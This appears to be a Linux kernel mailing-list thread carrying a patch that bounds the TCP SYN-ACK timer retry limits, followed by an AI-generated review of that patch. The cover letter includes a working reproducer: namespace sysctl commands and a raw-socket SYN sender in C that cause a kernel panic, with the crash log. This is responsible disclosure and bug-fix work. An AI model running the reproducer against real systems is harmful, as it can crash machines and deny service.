[PATCH net v4 resend 0/1] tcp: bound SYN-ACK timers to reqsk timeout range

[PATCH net v4 resend 0/1] tcp: bound SYN-ACK timers to reqsk timeout range

[Ren Wei]

From: Zhiling Zou <zhilinz@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/inet_connection_sock.c.
The bug is reachable by a non-root user via user and net namespace.

We've tested it, and it should not affect normal TCP request socket
timeout handling.

The issue is caused by allowing SYN-ACK timer limits above the range
that request socket timeout backoff can safely consume.

---- details below ----

Bug details:

tcp_synack_retries is exposed through proc_dou8vec_minmax without an
upper bound, so values up to 255 are accepted. The effective request
socket timer limit can also come from TCP_SYNCNT through
icsk_syn_retries, or from TCP_DEFER_ACCEPT through rskq_defer_accept.

The regular request socket timer and the Fast Open SYN-ACK timer use
these limits to decide when a request should expire. However, after
req->num_timeout is incremented, the timer paths use it as a shift
count while computing the next timeout. Excessive retry or
defer-accept limits can therefore drive these timer paths into invalid
shift counts before the request expires. Values beyond the 7-bit
request socket timeout counter can also prevent expiration from being
reached at all.

The attached patch clamps the effective retry and defer-accept limits
in the regular request socket timer path, clamps the Fast Open retry
limit, and makes the request socket timeout helper saturate before
shifting. This keeps sysctl writes unchanged while bounding the timer
calculations.

Reproducer:

    gcc -O2 -Wall -o poc poc.c
    unshare -Urn sh -c '\''
        ip link set lo up
        echo 1 > /proc/sys/kernel/panic_on_warn
        echo 0 > /proc/sys/net/ipv4/tcp_syncookies
        echo 128 > /proc/sys/net/ipv4/tcp_synack_retries
        echo 1000 > /proc/sys/net/ipv4/tcp_rto_max_ms
        ./poc 127.0.0.2 40000 127.0.0.1 12345
    '\''

We ran the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#include <arpa/inet.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

struct pseudo_header {
	uint32_t src_addr;
	uint32_t dst_addr;
	uint8_t zero;
	uint8_t protocol;
	uint16_t tcp_len;
};

static uint16_t checksum(const void *data, size_t len)
{
	const uint16_t *words = data;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *words++;
		len -= 2;
	}

	if (len)
		sum += *(const uint8_t *)words;

	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);

	return (uint16_t)~sum;
}

int main(int argc, char **argv)
{
	struct sockaddr_in dst = { 0 };
	struct pseudo_header psh = { 0 };
	struct {
		struct iphdr ip;
		struct tcphdr tcp;
	} packet = { 0 };
	unsigned char pseudo_buf[sizeof(psh) + sizeof(packet.tcp)];
	const char *src_ip;
	const char *dst_ip;
	int sock;
	int one = 1;
	long src_port;
	long dst_port;
	ssize_t sent;

	if (argc != 5) {
		fprintf(stderr, "usage: %s <src_ip> <src_port> <dst_ip> <dst_port>\n", argv[0]);
		return 2;
	}

	src_ip = argv[1];
	src_port = strtol(argv[2], NULL, 10);
	dst_ip = argv[3];
	dst_port = strtol(argv[4], NULL, 10);
	if (src_port <= 0 || src_port > 65535 || dst_port <= 0 || dst_port > 65535) {
		fprintf(stderr, "invalid port\n");
		return 2;
	}

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sock < 0) {
		perror("socket");
		return 1;
	}

	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) {
		perror("setsockopt(IP_HDRINCL)");
		close(sock);
		return 1;
	}

	dst.sin_family = AF_INET;
	dst.sin_port = htons((uint16_t)dst_port);
	if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) {
		fprintf(stderr, "invalid dst_ip: %s\n", dst_ip);
		close(sock);
		return 2;
	}

	packet.ip.version = 4;
	packet.ip.ihl = sizeof(packet.ip) / 4;
	packet.ip.tos = 0;
	packet.ip.tot_len = htons(sizeof(packet));
	packet.ip.id = htons((uint16_t)getpid());
	packet.ip.frag_off = 0;
	packet.ip.ttl = 64;
	packet.ip.protocol = IPPROTO_TCP;
	if (inet_pton(AF_INET, src_ip, &packet.ip.saddr) != 1) {
		fprintf(stderr, "invalid src_ip: %s\n", src_ip);
		close(sock);
		return 2;
	}
	packet.ip.daddr = dst.sin_addr.s_addr;
	packet.ip.check = checksum(&packet.ip, sizeof(packet.ip));

	packet.tcp.source = htons((uint16_t)src_port);
	packet.tcp.dest = htons((uint16_t)dst_port);
	packet.tcp.seq = htonl(0x12345678);
	packet.tcp.doff = sizeof(packet.tcp) / 4;
	packet.tcp.syn = 1;
	packet.tcp.window = htons(65535);

	psh.src_addr = packet.ip.saddr;
	psh.dst_addr = packet.ip.daddr;
	psh.zero = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_len = htons(sizeof(packet.tcp));
	memcpy(pseudo_buf, &psh, sizeof(psh));
	memcpy(pseudo_buf + sizeof(psh), &packet.tcp, sizeof(packet.tcp));
	packet.tcp.check = checksum(pseudo_buf, sizeof(pseudo_buf));

	sent = sendto(sock, &packet, sizeof(packet), 0,
		      (struct sockaddr *)&dst, sizeof(dst));
	if (sent != (ssize_t)sizeof(packet)) {
		if (sent < 0)
			perror("sendto");
		else
			fprintf(stderr, "short send: %zd\n", sent);
		close(sock);
		return 1;
	}

	close(sock);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  463.180218][    C3] Kernel panic - not syncing: UBSAN: panic_on_warn set ...
[  463.181502][    C3] CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[  463.182748][    C3] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  463.184251][    C3] Call Trace:
[  463.184723][    C3]  <IRQ>
[  463.185125][    C3]  vpanic+0x6c3/0x790
[  463.185795][    C3]  ? __pfx_vpanic+0x10/0x10
[  463.186461][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.187264][    C3]  ? __show_trace_log_lvl+0x2f1/0x420
[  463.188052][    C3]  panic+0xca/0xd0
[  463.188605][    C3]  ? __pfx_panic+0x10/0x10
[  463.189281][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.190089][    C3]  check_panic_on_warn+0x61/0x80
[  463.190816][    C3]  __ubsan_handle_shift_out_of_bounds+0x1dd/0x2d0
[  463.191774][    C3]  reqsk_timer_handler.cold+0x18/0x26
[  463.192570][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.193389][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.194218][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.195181][    C3]  call_timer_fn+0x16b/0x500
[  463.196028][    C3]  ? debug_object_deactivate+0x2e4/0x3b0
[  463.197045][    C3]  ? trace_softirq_raise+0x11a/0x160
[  463.197852][    C3]  ? __pfx_call_timer_fn+0x10/0x10
[  463.198593][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.199411][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.200213][    C3]  ? rcu_is_watching+0x12/0xc0
[  463.200904][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.201763][    C3]  __run_timers+0x5d9/0x9c0
[  463.202468][    C3]  ? __pfx_reqsk_timer_handler+0x10/0x10
[  463.203308][    C3]  ? __pfx___run_timers+0x10/0x10
[  463.204049][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.204871][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.205704][    C3]  run_timer_base+0xfe/0x170
[  463.206370][    C3]  ? __pfx_run_timer_base+0x10/0x10
[  463.207115][    C3]  ? rcu_is_watching+0x12/0xc0
[  463.207809][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.208619][    C3]  run_timer_softirq+0x10/0x30
[  463.209311][    C3]  handle_softirqs+0x1ef/0xa00
[  463.210022][    C3]  ? __pfx_handle_softirqs+0x10/0x10
[  463.210788][    C3]  ? srso_alias_return_thunk+0x5/0xfbef5
[  463.211590][    C3]  __irq_exit_rcu+0x169/0x210
[  463.212281][    C3]  irq_exit_rcu+0xe/0x30
[  463.212885][    C3]  sysvec_apic_timer_interrupt+0xa3/0xc0
[  463.213688][    C3]  </IRQ>
[  463.214105][    C3]  <TASK>
[  463.214538][    C3]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  463.215398][    C3] RIP: pv_native_safe_halt+0xf/0x20
[  463.216189][    C3] Code: 77 5b 02 e9 de d9 80 f6 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d d3 32 1a 00 fb f4 <e9> b7 d9 80 f6 66 2e 0f 1f 84 00 00 00 00 00 66 90 90 90 90 90 90
All code
========
   0:	77 5b                	ja     0x5d
   2:	02 e9                	add    %cl,%ch
   4:	de d9                	fcompp
   6:	80 f6 0f             	xor    $0xf,%dh
   9:	1f                   	(bad)
   a:	00 90 90 90 90 90    	add    %dl,-0x6f6f6f70(%rax)
  10:	90                   	nop
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	90                   	nop
  15:	90                   	nop
  16:	90                   	nop
  17:	90                   	nop
  18:	90                   	nop
  19:	90                   	nop
  1a:	90                   	nop
  1b:	f3 0f 1e fa          	endbr64
  1f:	eb 07                	jmp    0x28
  21:	0f 00 2d d3 32 1a 00 	verw   0x1a32d3(%rip)        # 0x1a32fb
  28:	fb                   	sti
  29:	f4                   	hlt
  2a:*	e9 b7 d9 80 f6       	jmp    0xfffffffff680d9e6		<-- trapping instruction
  2f:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
  36:	00 00 00 
  39:	66 90                	xchg   %ax,%ax
  3b:	90                   	nop
  3c:	90                   	nop
  3d:	90                   	nop
  3e:	90                   	nop
  3f:	90                   	nop

Code starting with the faulting instruction
===========================================
   0:	e9 b7 d9 80 f6       	jmp    0xfffffffff680d9bc
   5:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
   c:	00 00 00 
   f:	66 90                	xchg   %ax,%ax
  11:	90                   	nop
  12:	90                   	nop
  13:	90                   	nop
  14:	90                   	nop
  15:	90                   	nop
[  463.218880][    C3] RSP: 0018:ffa000000017fdf0 EFLAGS: 00000202
[  463.219748][    C3] RAX: 00000000001a917f RBX: ff110001036c25c0 RCX: ffffffff8a8f7fa5
[  463.220859][    C3] RDX: 0000000000000000 RSI: ffffffff8cc14de4 RDI: ffffffff8b0f3640
[  463.221969][    C3] RBP: 0000000000000000 R08: 0000000000000001 R09: ffe21c0022fb67ed
[  463.223076][    C3] R10: ff11000117db3f6b R11: 0000000000000072 R12: 0000000000000003
[  463.224187][    C3] R13: ffe21c00206d84b8 R14: 0000000000000003 R15: ffffffff90914550
[  463.225338][    C3]  ? ct_kernel_exit+0x125/0x180
[  463.226067][    C3]  default_idle+0x9/0x10
[  463.226686][    C3]  default_idle_call+0x6c/0xb0
[  463.227379][    C3]  do_idle+0x469/0x590
[  463.227983][    C3]  ? __pfx_do_idle+0x10/0x10
[  463.228645][    C3]  ? finish_task_switch.isra.0+0x151/0x1050
[  463.229524][    C3]  cpu_startup_entry+0x54/0x60
[  463.230222][    C3]  start_secondary+0x213/0x2b0
[  463.230905][    C3]  ? __pfx_start_secondary+0x10/0x10
[  463.231687][    C3]  common_startup_64+0x13e/0x148
[  463.232457][    C3]  </TASK>
[  463.233555][    C3] Kernel Offset: disabled
[  463.234244][    C3] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  tcp: bound SYN-ACK timers to reqsk timeout range

 include/net/tcp.h               | 19 +++++++++++++++----
 net/ipv4/inet_connection_sock.c |  6 +++++-
 net/ipv4/tcp_timer.c            |  3 ++-
 3 files changed, 22 insertions(+), 6 deletions(-)

-- 
2.43.0

[PATCH net v4 resend 1/1] tcp: bound SYN-ACK timers to reqsk timeout range

[Ren Wei]

From: Zhiling Zou <zhilinz@nebusec.ai>

tcp_synack_retries supplies the SYN-ACK retry limit used by request
socket timers. The same effective limit can also come from TCP_SYNCNT
through icsk_syn_retries, while TCP_DEFER_ACCEPT can keep an ACKed
request alive until rskq_defer_accept is reached.

The request socket timeout counter is incremented before it is used to
compute the next timeout. tcp_reqsk_timeout() and the Fast Open SYN-ACK
timer shift req->timeout by req->num_timeout. Excessive retry or
defer-accept limits can therefore drive these timer paths into invalid
shift counts before the request expires.

Clamp the effective retry and defer-accept limits in the regular
request socket timer path, clamp the Fast Open retry limit, and make
the request socket timeout helper saturate before shifting. This keeps
sysctl writes unchanged while bounding the timer calculations.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
Changes in v4:
  - Drop the tcp_synack_retries sysctl maximum to preserve existing
    user-space behavior, and keep the runtime clamps at the timer usage
    sites.
  - v3 Link: https://lore.kernel.org/all/20260702095324.2995243-1-n05ec@lzu.edu.cn/

Changes in v3:
  - Order local variables in tcp_reqsk_timeout_sk() by reverse Christmas
    tree.
  - v2 Link: https://lore.kernel.org/all/20260630035009.55201-1-n05ec@lzu.edu.cn/

Changes in v2:
  - Keep the existing max_retries calculation in
    tcp_fastopen_synack_timer() and only add the clamp, avoiding code
    churn.
  - v1 Link: https://lore.kernel.org/all/02e24eb83639e9d7ecc623f000c60254bb5c40a5.1782643946.git.roxy520tt@gmail.com/

 include/net/tcp.h               | 19 +++++++++++++++----
 net/ipv4/inet_connection_sock.c |  6 +++++-
 net/ipv4/tcp_timer.c            |  3 ++-
 3 files changed, 22 insertions(+), 6 deletions(-)

diff --git a/include/net/tcp.h b/include/net/tcp.h
index 6d376ea4d1c0..ee78436b8964 100644
--- a/include/net/tcp.h
+++ b/include/net/tcp.h
@@ -183,6 +183,7 @@ static_assert((1 << ATO_BITS) > TCP_DELACK_MAX);
 #define MAX_TCP_KEEPINTVL	32767
 #define MAX_TCP_KEEPCNT		127
 #define MAX_TCP_SYNCNT		127
+#define MAX_TCP_SYNACK_RETRIES	63
 
 /* Ensure that TCP PAWS checks are relaxed after ~2147 seconds
  * to avoid overflows. This assumes a clock smaller than 1 Mhz.
@@ -882,12 +883,22 @@ static inline u32 __tcp_set_rto(const struct tcp_sock *tp)
 	return usecs_to_jiffies((tp->srtt_us >> 3) + tp->rttvar_us);
 }
 
-static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
+static inline unsigned long tcp_reqsk_timeout_sk(const struct sock *sk,
+						 struct request_sock *req)
 {
-	u64 timeout = (u64)req->timeout << req->num_timeout;
+	u32 rto_max = tcp_rto_max(sk);
+	u64 timeout = req->timeout;
+
+	if (req->num_timeout >= BITS_PER_TYPE(u64) ||
+	    timeout > U64_MAX >> req->num_timeout)
+		return rto_max;
+
+	return (unsigned long)min_t(u64, timeout << req->num_timeout, rto_max);
+}
 
-	return (unsigned long)min_t(u64, timeout,
-				    tcp_rto_max(req->rsk_listener));
+static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
+{
+	return tcp_reqsk_timeout_sk(req->rsk_listener, req);
 }
 
 u32 tcp_delack_max(const struct sock *sk);
diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 56902bba5483..b74212bae3dd 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -1056,6 +1056,8 @@ static void reqsk_timer_handler(struct timer_list *t)
 	net = sock_net(sk_listener);
 	max_syn_ack_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
 		READ_ONCE(net->ipv4.sysctl_tcp_synack_retries);
+	max_syn_ack_retries = min_t(int, max_syn_ack_retries,
+				    MAX_TCP_SYNACK_RETRIES);
 	/* Normally all the openreqs are young and become mature
 	 * (i.e. converted to established socket) for first timeout.
 	 * If synack was not acknowledged for 1 second, it means
@@ -1086,7 +1088,9 @@ static void reqsk_timer_handler(struct timer_list *t)
 		}
 	}
 
-	syn_ack_recalc(req, max_syn_ack_retries, READ_ONCE(queue->rskq_defer_accept),
+	syn_ack_recalc(req, max_syn_ack_retries,
+		       min_t(u8, READ_ONCE(queue->rskq_defer_accept),
+			     MAX_TCP_SYNACK_RETRIES),
 		       &expire, &resend);
 	tcp_syn_ack_timeout(req);
 
diff --git a/net/ipv4/tcp_timer.c b/net/ipv4/tcp_timer.c
index bf171b5e1eb3..bbedf2b9e1bc 100644
--- a/net/ipv4/tcp_timer.c
+++ b/net/ipv4/tcp_timer.c
@@ -467,6 +467,7 @@ static void tcp_fastopen_synack_timer(struct sock *sk, struct request_sock *req)
 	 */
 	max_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
 		READ_ONCE(sock_net(sk)->ipv4.sysctl_tcp_synack_retries) + 1;
+	max_retries = min_t(int, max_retries, MAX_TCP_SYNACK_RETRIES);
 
 	if (req->num_timeout >= max_retries) {
 		tcp_write_err(sk);
@@ -488,7 +489,7 @@ static void tcp_fastopen_synack_timer(struct sock *sk, struct request_sock *req)
 	if (!tp->retrans_stamp)
 		tp->retrans_stamp = tcp_time_stamp_ts(tp);
 	tcp_reset_xmit_timer(sk, ICSK_TIME_RETRANS,
-			  req->timeout << req->num_timeout, false);
+			     tcp_reqsk_timeout_sk(sk, req), false);
 }
 
 static bool tcp_rtx_probe0_timed_out(const struct sock *sk,
-- 
2.43.0

Re: [PATCH net v4 resend 1/1] tcp: bound SYN-ACK timers to reqsk timeout range

[Jakub Kicinski]

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
--- Patch [1]: [PATCH net v4 resend 1/1] tcp: bound SYN-ACK timers to reqsk timeout range ---
commit 319e164a9bccb22bb455177e690c982f75111c61
Author: Zhiling Zou <zhilinz@nebusec.ai>

tcp: bound SYN-ACK timers to reqsk timeout range

This adds a new MAX_TCP_SYNACK_RETRIES constant of 63 and applies it as a
runtime clamp on the effective SYN-ACK retry limit and on
rskq_defer_accept in reqsk_timer_handler(), and on max_retries in
tcp_fastopen_synack_timer().  It also converts tcp_reqsk_timeout() into a
saturating helper tcp_reqsk_timeout_sk() that returns rto_max instead of
performing an out-of-range shift.

A few questions below.

> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Cc: stable@vger.kernel.org

[Severity: Low]
Is this Fixes tag pointing at the right commit?  git blame on the
baseline attributes tcp_reqsk_timeout() and its shift expression:

  include/net/tcp.h:
	u64 timeout = (u64)req->timeout << req->num_timeout;

	return (unsigned long)min_t(u64, timeout,
				    tcp_rto_max(req->rsk_listener));

to 207ce0f6bc131 (Kuniyuki Iwashima, 2025-11-06), and the rto_max clamp
to 1e9d3005e02cb (2025-11-06).  The new helper also depends on
tcp_rto_max()/icsk_rto_max, which are recent additions too.

With Cc: stable on a patch that changes observable behaviour, could the
tag be adjusted so the affected tree range is clear?

Also, could the changelog state the concrete user-visible impact of the
pre-existing out-of-range shift?  In the reqsk path the result was already
bounded by min_t(u64, ..., tcp_rto_max()), and in the Fast Open path
inet_csk_reset_xmit_timer() clamps 'when' to max_when, so the observable
effect looks like a mis-scaled timer rather than memory unsafety, and it
requires an administrator-configured limit above 63.

> diff --git a/include/net/tcp.h b/include/net/tcp.h
> index 2c5b889530b5..a53d1b808aba 100644
> --- a/include/net/tcp.h
> +++ b/include/net/tcp.h
> @@ -183,6 +183,7 @@ static_assert((1 << ATO_BITS) > TCP_DELACK_MAX);
>  #define MAX_TCP_KEEPINTVL	32767
>  #define MAX_TCP_KEEPCNT		127
>  #define MAX_TCP_SYNCNT		127
> +#define MAX_TCP_SYNACK_RETRIES	63

[Severity: Low]
Where does 63 come from?  The neighbouring MAX_TCP_* constants are
write-time validation limits for the corresponding interfaces, but this
one is only a hidden runtime clamp, and 63 matches neither the width of
the num_timeout field (u8 num_timeout:7, so 0..127) nor MAX_TCP_SYNCNT
(127), which bounds the very same icsk_syn_retries field.  Could a comment
explain the derivation?

>  /* Ensure that TCP PAWS checks are relaxed after ~2147 seconds
>   * to avoid overflows. This assumes a clock smaller than 1 Mhz.
> @@ -882,12 +883,22 @@ static inline u32 __tcp_set_rto(const struct tcp_sock *tp)
>  	return usecs_to_jiffies((tp->srtt_us >> 3) + tp->rttvar_us);
>  }
>  
> -static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
> +static inline unsigned long tcp_reqsk_timeout_sk(const struct sock *sk,
> +						 struct request_sock *req)
>  {
> -	u64 timeout = (u64)req->timeout << req->num_timeout;
> +	u32 rto_max = tcp_rto_max(sk);
> +	u64 timeout = req->timeout;
> +
> +	if (req->num_timeout >= BITS_PER_TYPE(u64) ||
> +	    timeout > U64_MAX >> req->num_timeout)
> +		return rto_max;
> +
> +	return (unsigned long)min_t(u64, timeout << req->num_timeout, rto_max);
> +}

[Severity: Low]
Does the changelog rationale still hold once this helper exists?  The
changelog says:

  "Excessive retry or defer-accept limits can therefore drive these timer
   paths into invalid shift counts before the request expires."

  "Clamp the effective retry and defer-accept limits in the regular
   request socket timer path, clamp the Fast Open retry limit, ..."

But req->num_timeout is a 7-bit field, so it can only hold 0..127, and
this helper already saturates for every one of those values.  Both shift
sites now route through it: tcp_reqsk_timeout() -> tcp_reqsk_timeout_sk()
from reqsk_timer_handler()'s mod_timer(), and tcp_reset_xmit_timer() in
tcp_fastopen_synack_timer().  With that in place, are the three call-site
clamps still needed for shift safety at all?

Conversely, the effect the clamps do have isn't described anywhere.  With
a configured limit above 127 (for example sysctl_tcp_synack_retries=200,
which is writable today), syn_ack_recalc()'s

	*expire = req->num_timeout >= max_syn_ack_retries;

can never become true, req->num_timeout++ wraps 127 -> 0, so the request
socket never expires and keeps retransmitting SYN-ACKs, and each wrap
re-runs:

	if (req->num_timeout++ == 0)
		atomic_dec(&queue->young);

underflowing the young counter used by the pruning heuristic.  Could the
changelog describe that effect instead, and say why 63 was chosen over
helper-only saturation, over 127 (the field width, matching
MAX_TCP_SYNCNT, so no currently legal configuration changes behaviour), or
over write-time validation plus a Documentation update?

>  
> -	return (unsigned long)min_t(u64, timeout,
> -				    tcp_rto_max(req->rsk_listener));
> +static inline unsigned long tcp_reqsk_timeout(struct request_sock *req)
> +{
> +	return tcp_reqsk_timeout_sk(req->rsk_listener, req);
>  }
>  
>  u32 tcp_delack_max(const struct sock *sk);
> diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
> index 56902bba5483..b74212bae3dd 100644
> --- a/net/ipv4/inet_connection_sock.c
> +++ b/net/ipv4/inet_connection_sock.c
> @@ -1056,6 +1056,8 @@ static void reqsk_timer_handler(struct timer_list *t)
>  	net = sock_net(sk_listener);
>  	max_syn_ack_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
>  		READ_ONCE(net->ipv4.sysctl_tcp_synack_retries);
> +	max_syn_ack_retries = min_t(int, max_syn_ack_retries,
> +				    MAX_TCP_SYNACK_RETRIES);

[Severity: Medium]
Does this silently truncate limits that are currently reachable and
honoured?

The write side is unchanged by this patch.  In
net/ipv4/sysctl_net_ipv4.c, tcp_synack_retries is registered with
proc_dou8vec_minmax and no .extra1/.extra2, so 0..255 stays writable, and
Documentation/networking/ip-sysctl.rst still says the value "should not be
higher than 255".  tcp_sock_set_syncnt() accepts icsk_syn_retries up to
MAX_TCP_SYNCNT (127), and do_tcp_getsockopt(TCP_SYNCNT) returns the stored
value verbatim.

Since req->num_timeout can reach 127, limits in 64..127 were previously
fully reachable, so a listener configured with tcp_synack_retries=100 (or
TCP_SYNCNT=100) now expires request sockets at 63 timeouts while
userspace still reads back 100.  Is that divergence between reported
configuration and effective behaviour intended?

The changelog says:

  "This keeps sysctl writes unchanged while bounding the timer
   calculations."

The write does still succeed, but its effect changes.  Could the changelog
and ip-sysctl.rst be updated to describe the new effective ceiling?

[ ... ]

> @@ -1086,7 +1088,9 @@ static void reqsk_timer_handler(struct timer_list *t)
>  		}
>  	}
>  
> -	syn_ack_recalc(req, max_syn_ack_retries, READ_ONCE(queue->rskq_defer_accept),
> +	syn_ack_recalc(req, max_syn_ack_retries,
> +		       min_t(u8, READ_ONCE(queue->rskq_defer_accept),
> +			     MAX_TCP_SYNACK_RETRIES),
>  		       &expire, &resend);
>  	tcp_syn_ack_timeout(req);

[Severity: Medium]
Can clamping rskq_defer_accept only here make TCP_DEFER_ACCEPT unable to
ever complete?  The other consumer of the same field, tcp_check_req() in
net/ipv4/tcp_minisocks.c, still compares against the unclamped value:

	if (req->num_timeout < READ_ONCE(inet_csk(sk)->icsk_accept_queue.rskq_defer_accept) &&
	    TCP_SKB_CB(skb)->end_seq == tcp_rsk(req)->rcv_isn + 1) {
		inet_rsk(req)->acked = 1;
		...
		return NULL;
	}

secs_to_retrans() can legitimately store 64..255 in rskq_defer_accept
(its loop is "while (seconds > period && res < 255)"), so with, say,
rskq_defer_accept == 100 the two deferral windows disagree.
syn_ack_recalc() sees 63 and sets:

	*expire = req->num_timeout >= max_syn_ack_retries &&
		  (!inet_rsk(req)->acked || req->num_timeout >= rskq_defer_accept);

so the request expires at num_timeout == 63, and the documented "last
chance for data or ACK to create established socket" resend moves to
num_timeout == 62.  Meanwhile any bare ACK arriving in that window is
still swallowed by tcp_check_req() (62 and 63 are both < 100), so the
request socket gets dropped by __inet_csk_reqsk_queue_drop() instead of
being promoted.  Before this patch both comparisons used the same value.

getsockopt(TCP_DEFER_ACCEPT) also still converts the unclamped value back
to seconds in do_tcp_getsockopt():

	val = READ_ONCE(icsk->icsk_accept_queue.rskq_defer_accept);
	val = retrans_to_secs(val, TCP_TIMEOUT_INIT / HZ,
			      TCP_RTO_MAX / HZ);

Should both sites be clamped consistently, or the clamp dropped here?

> diff --git a/net/ipv4/tcp_timer.c b/net/ipv4/tcp_timer.c
> index bf171b5e1eb3..bbedf2b9e1bc 100644
> --- a/net/ipv4/tcp_timer.c
> +++ b/net/ipv4/tcp_timer.c
> @@ -467,6 +467,7 @@ static void tcp_fastopen_synack_timer(struct sock *sk, struct request_sock *req)
>  	 */
>  	max_retries = READ_ONCE(icsk->icsk_syn_retries) ? :
>  		READ_ONCE(sock_net(sk)->ipv4.sysctl_tcp_synack_retries) + 1;
> +	max_retries = min_t(int, max_retries, MAX_TCP_SYNACK_RETRIES);

[Severity: Low]
Does the clamp cancel out the preceding comment?  The comment just above
reads "Add one more retry for fastopen", but at
sysctl_tcp_synack_retries == 63 the computed 64 is clamped straight back
to 63, so the extra Fast Open retry disappears, and for sysctl values
above 63 the "+ 1" has no effect at all.

	if (req->num_timeout >= max_retries) {
		tcp_write_err(sk);
		return;
	}

means the TFO child then hits tcp_write_err() one retry earlier than the
comment describes.  Would MAX_TCP_SYNACK_RETRIES + 1 be the intended
bound here, or should the comment be updated?

>  
>  	if (req->num_timeout >= max_retries) {
>  		tcp_write_err(sk);

[ ... ]